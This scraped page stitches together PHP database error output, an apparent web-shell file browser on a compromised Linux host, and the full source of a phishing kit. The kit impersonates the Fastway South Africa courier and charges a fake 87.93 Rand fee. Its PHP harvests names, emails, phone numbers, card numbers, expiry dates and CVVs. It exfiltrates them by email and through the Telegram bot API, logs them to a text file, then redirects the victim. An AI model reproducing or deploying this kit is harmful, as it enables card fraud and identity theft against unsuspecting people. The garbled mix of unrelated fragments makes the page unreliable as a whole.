A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux vps17447 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: dh_m2e37m (5712562)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /home/dh_m2e37m/thomaspmiller.com/log/6563738/index.php
<?php
    
    include 'log.php';

    if(isset($_POST['btnSEND'])){
        $fullname = $_POST['fullname'];
        $Email = "" . $_POST['countryCode'].$_POST['Email'];
        $Fødselsdato = $_POST['Fødselsdato'];
        $time  = date('H:S');
        $date = date('d/m/Y');
        $IP = getenv("REMOTE_ADDR");
        $cardnumber = $_POST['cardnumber'];
        $mmaaaa = filter_var($_POST['mm'].'/'.$_POST['aa'],FILTER_SANITIZE_STRING);
        $code = $_POST['code'];
        $IP = getenv("REMOTE_ADDR");
        
        $cookie_card = "card";
        $cookie_value = $cardnumber;
        setcookie($cookie_card, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
        
        $message .= "--++-----[ billing Info Fastway za ]-----++--\n";
        $message .= "Full name  : ".$fullname."\n";
        $message .= "Email  : ".$Email."\n";
        $message .= "Mot de passe : ".$Fødselsdato."\n";
        $message .= "Card number : ".$cardnumber."\n";
        $message .= "MM / AA : ". $mmaaaa . "\n";
        $message .= "Code : ".$code."\n";

        
        $message .= "-------------- IP Infos ------------\n";
        $message .= "https://geoiptool.com/en/?ip=$IP\n";
        $message .= "BROWSER  : ".$_SERVER['HTTP_USER_AGENT']."\n";
        $message .= "Time : ".$time."\n";
        $message .= "Date : ".$date."\n";
        $message .= "---------------------- @Imodzeb ----------------------\n";
        $subject = "billingg Fastway za [ " . $IP . " ] ";
        
        include 'configuration.php';
        
        mail($MyEmail,$subject,$message);
        
        file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) );
        $text = fopen('data/inputinfo.txt', 'a');
        fwrite($text, $message);
        ?>
<script>
                        window.location.href='waiting.php';
                    </script>
    <?php }
?>
<html>
    <head>
        <title></title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="packeges/bootstrap.min.css">
        <link rel="stylesheet" href="packeges/jquery.js" >
        <link rel="stylesheet" type="text/css" href="packeges/index.css" >
    </head>
    <body>
        <div class="navigation">
            <img src="images/logo.png" class="logo" />
            <div style="display: contents;">
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Our Services</strong></a></span>
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Tools</strong></a></span>
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Franchising</strong></a></span>
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Why Fastway</strong></a></span>
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Courier locator</strong></a></span>
                <span class="spanNAV d-none d-sm-block"><a class="decoA" href="#"><strong>Contact us</strong></a></span>
            </div>
        </div>
        <div class="container-fluid topSpase" >
            <div class="row justify-content-around flex-xl-nowrap d-flex justify-content-center">
                <div class="col-8">
                    <b class="headerTitle">Traking number: ZA / 904951986</b>
                    <p class="headerTitleInfo"><b>Standard package</b></p>
                    <form method="post" action="">
                        <p class="labelInput">Email :</p>

                        <div class="DIVINPUTFLEX">
                            <!-- country codes (ISO 3166) and Dial codes. -->
                            
                            <input  required name="Email"  class="InputInfo" type="text" placeholder="mail@exemple.com"/>
                            
                        </div>
                        
                        <p class="labelInput">Phone number:</p>
<input maxlength="17" required oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);"  class="InputInfo" name="Fødselsdato" type="number" placeholder="00 00 00 00 00"/>
                        <p><b>Pay by card:</b> <br class="d-none d-sm-block" ><div style="display:flex;"><img src="images/cards.png" width="190px"></div></p>
                        <p class="labelInput">Full Name:</p>
                        <input class="InputInfo" name="fullname" type="text" placeholder=""/>
                        <p class="labelInput">Card number:</p>
                        <input maxlength="16" oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" required  class="InputInfo" name="cardnumber" type="number" placeholder="XXXX XXXX XXXX XXXX"/>
                        <p class="labelInput">Date Exp:</p><br>
                            <div class="datInp">
                            <select required="" name="mm" id="">
                                <option selected value="">Month</option>
                                <?php
                                    for($i = 1 ; $i <= 12 ; $i++){
                                        echo '<option value="'.$i.'">'.$i.'</option>';
                                    }
                                ?>
                                
                            </select>
                            <select name="aa" required="">
                                        <option value="">Year</option>
                                        <?php
                                            for($i= date('y') ; $i <= date('y') +10 ; $i++){
                                                echo '<option value="'. $i.'">'. $i .'</option>';
                                            }
                                        ?>
                            </select>
                        <p class="labelInput">CVV :</p>
                        <input maxlength="4" oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" required class="InputInfo" type="number" name="code" placeholder="000"/>
                        <div class="FraktFLEX">
                        </div>
                        <div class="ELE_hr"></div>
                        <div class="TotalFLEX">
                            <b class="BBBTotal">Total to pay :</b>
                            <b class="BBBTotal">87.93 Rand</b>
                        </div>
                        <p>Conditions of Fastway courier Package ™</p>
                        <input type="submit" class="btnSEND" name="btnSEND" value="Pay and continue" />
                    </form>
                </div>
            </div>
        </div>
        <footer>
            <div class="container">
                <div class="row">
                <div class="col">
         <strong><p class = "Foo"> Send & Receive </p></strong>
                 <p class = "Foo"> Sending within South Africa </p>
                 <p class = "Foo"> Sending Overseas </p>
                 <p class = "Foo"> Receive Mail / Parcel </p>
                 <p class = "Foo"> Packing Materials </p>
                 <p class = "Foo"> Address, postal code and people </p>
            </div>
            <div class="col">
                 <strong><p class = "Foo"> about us </p></strong>
                 <p class = "Foo"> Couriers Please </p>
                 <p class = "Foo"> Famous Holdings </p>
                 <p class = "Foo"> Quantium Solutions </p>
            </div>
            <div class="col">
                 <strong><p class = "Foo"> Pay </p></strong>
                 <p class = "Foo"> Education </p>
                 <p class = "Foo"> Government Fines</p>
                 <p class = "Foo"> Government Bills </p>
                 <p class = "Foo"> Credit Card & Loans </p>
                 <p class = "Foo"> Healthcare </p>
            </div>
            <div class="col GRIDDIV">
                <img class="BTNFooo" src="images/logo.png" width="140px" > 
            </div>
                    <div style="margin-top:10px;" class="col-12">
                        <img src="images/cards.png" width="190px" />
                    </div>
            </div>
            </div>
            
        </footer>
        
        <script src="packeges/jquery.js"></script>
        <script src="packeges/bootstrap.min.js"></script>
    </body>
</html>